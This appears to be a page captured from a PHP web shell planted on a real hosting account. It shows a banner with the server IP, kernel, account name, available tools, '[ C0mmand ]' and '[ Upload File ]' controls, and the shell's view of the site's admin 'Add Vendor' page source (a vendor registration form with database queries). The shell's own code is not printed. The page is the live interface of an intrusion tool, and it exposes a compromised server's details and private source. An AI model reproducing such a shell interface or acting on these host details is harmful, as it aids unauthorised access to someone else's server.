Server IP : 162.214.80.37 / Your IP : 216.73.216.83 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/imyrqtmy/public_html/clickonn/Admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php session_start(); $se = $_SESSION["id"]; if (!isset($_SESSION['id'])) { header("Location: login.php"); } include("Includes/db.php");; ?> <!doctype html> <html lang="en"> <head> <?php include 'Includes/head.php'; ?> </head> <body data-sidebar="dark"> <!-- <body data-layout="horizontal" data-topbar="dark"> --> <!-- Begin page --> <div id="layout-wrapper"> <?php include 'Includes/header.php'; ?> <!-- ========== Left Sidebar Start ========== --> <div class="vertical-menu"> <div data-simplebar class="h-100"> <!--- Sidemenu --> <?php include 'Includes/sidebar.php'; ?> <!-- Sidebar --> </div> </div> <!-- Left Sidebar End --> <!-- ============================================================== --> <!-- Start right Content here --> <!-- ============================================================== --> <div class="main-content"> <div class="page-content"> <div class="container-fluid"> <!-- start page title --> <div class="row"> <div class="col-12"> <div class="page-title-box d-sm-flex align-items-center justify-content-between"> <h4 class="mb-sm-0 font-size-18">Add Vendor</h4> </div> </div> </div> <!-- end page title --> <div class="row"> <div class="card"> <div class="card-body"> <h4 class="card-title"></h4> <form class="needs-validation" method="POST" action="vendor_insert.php" enctype="multipart/form-data"> <div class="row"> <div class="col-md-4"> <div class="form-group"> <label class="col-form-label">Name</label> <input type="text" class="form-control" name="name" placeholder="Enter your name"> </div> </div> <div class="col-md-4"> <div class="form-group"> <label class="col-form-label">Company Name</label> <input type="text" class="form-control" name="cname" placeholder="Enter your name"> </div> </div> <div class="col-md-4"> <div class="form-group ss"> <label class="col-form-label">Excutive</label> <select class="form-control" name="executive_id"> <option>select</option> <?php $sql = "select * from tbl_field"; $sql_res = mysqli_query($con, $sql) or die(mysqli_error($con)); while ($marriage = mysqli_fetch_assoc($sql_res)){ ?> <option value="<?php echo $marriage['id'];?>"><?php echo $marriage['name'];?></option> <?php } ?> </select> </div> </div> <div class="col-md-6"> <div class="form-group"> <label class="col-form-label">E-mail</label> <input type="email" class="form-control" name="email" placeholder="example@email.com"> </div> </div> <div class="col-md-6"> <div class="form-group"> <label class="col-form-label">Mobile Number</label> <input type="number" class="form-control" name="phone" placeholder=""> </div> </div> <div class="col-md-12"> <div class="form-group"> <label class="col-form-label">Address</label> <textarea class="form-control" name="add" placeholder="Enter address"></textarea> </div> </div> <div class="col-md-4"> <div class="form-group"> <label class="col-form-label">Pincode</label> <input type="text" class="form-control" placeholder="Pincode" name="pincode"> </div> </div> <div class="col-md-4"> <div class="form-group"> <label class="col-form-label">City</label> <input type="text" class="form-control" placeholder="city" name="city"> </div> </div> <div class="col-md-4"> <div class="form-group"> <label class="col-form-label">Whatsapp Number</label> <input type="number" class="form-control" placeholder="Whatsapp Number" name="wh_no"> </div> </div> </div> <div class="row"> <h5>Photos</h5> <div class="col-md-4"> <div class="form-group"> <label class="col-form-label">Profile Photo</label> <input type="file" class="form-control" placeholder="Pincode" name="profile_photo"> </div> </div> <div class="col-md-4"> <div class="form-group"> <label class="col-form-label">Photo 1</label> <input type="file" class="form-control" placeholder="Pincode" name="photo1"> </div> </div> <div class="col-md-4"> <div class="form-group"> <label class="col-form-label">Photo 2 </label> <input type="file" class="form-control" placeholder="Pincode" name="photo2"> </div> </div> </div> <div class="row"> <div class="col-md-6"> <div class="form-group"> <label class="col-form-label">Categories</label> <select id="cat" class="js-states form-control fav_clr " name="categorie"> <option>select</option> <?php $sql = "select * from tbl_categories "; $sql_res = mysqli_query($con, $sql) or die(mysqli_error($con)); while ($marriage = mysqli_fetch_assoc($sql_res)){ ?> <option value="<?php echo $marriage['id'];?>"><?php echo $marriage['name'];?></option> <?php } ?> </select> </div> </div> <div class="col-md-6"> <div class="form-group"> <label class="col-form-label">Sub Categories</label> <select id="sub" class="js-states form-control fav_clrs" multiple name="sub_categorie[]"> <option>Select First Category</option> </select> </div> </div> </div> <input type="hidden" class="form-control" name="package" value="basic"> <div class="form-group"> <label class="col-form-label">Working Area</label> <input type="text" class="form-control" placeholder="Working Area" name="working_area"> </div> <div class="form-group"> <label class="col-form-label d-block">Password</label> <div class="pass-group"> <input type="password" class="form-control pass-input" placeholder="*************" name="password"> <span class="toggle-password feather-eye"></span> </div> </div> <div class="mt-3"> <button class="btn btn-primary" type="submit">Submit </button> </div> </form> </div> </div> </div> <!-- end row --> <!-- end row --> <!-- end row --> </div> <!-- container-fluid --> </div> <!-- End Page-content --> <footer class="footer"> <?php include 'Includes/footer.php'; ?> </footer> </div> <!-- end main content--> </div> <!-- END layout-wrapper --> <!-- Right Sidebar --> <!-- /Right-bar --> <!-- Right bar overlay--> <div class="rightbar-overlay"></div> <!-- jQuery --> <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> <!-- Select2 CSS --> <link href="https://cdn.jsdelivr.net/npm/select2@4.1.0-rc.0/dist/css/select2.min.css" rel="stylesheet" /> <!-- Select2 JS --> <script src="https://cdn.jsdelivr.net/npm/select2@4.1.0-rc.0/dist/js/select2.min.js"></script> <?php include 'Includes/bscript.php'; ?> <script src="https://cdnjs.cloudflare.com/ajax/libs/select2/4.0.6-rc.0/js/select2.min.js"></script> <script type="text/javascript"> $(document).ready(function() { $('.fav_clr').select2({ }); }); $('.fav_clr').on("select2:select", function (e) { var data = e.params.data.text; if(data=='all'){ $(".fav_clr > option").prop("selected","selected"); $(".fav_clr").trigger("change"); } }); </script> <script type="text/javascript"> $(document).ready(function() { $('.fav_clrs').select2({ }); }); $('.fav_clrs').on("select2:select", function (e) { var data = e.params.data.text; if(data=='all'){ $(".fav_clrs > option").prop("selected","selected"); $(".fav_clrs").trigger("change"); } }); </script> <script type="text/javascript"> $(document).ready(function() { $('#cat').on('change', function() { var stateID = $(this).val(); // alert(conID); $.ajax({ type: 'POST', url: 'get_sub_cate.php', data: {city: stateID }, success: function(response) { // alert(response); $('#sub').html(response); } }); }); }); </script> <script type="text/javascript"> $(document).ready(function() { $('#ptype').hide(); $('#pak').on('change', function() { var pak = $(this).val(); // alert(conID); if(pak == '2') { $('#ptype').hide().find(':input').attr('required', false); } else { $('#ptype').show().find(':input').attr('required', true); } }); }); </script> </body> </html>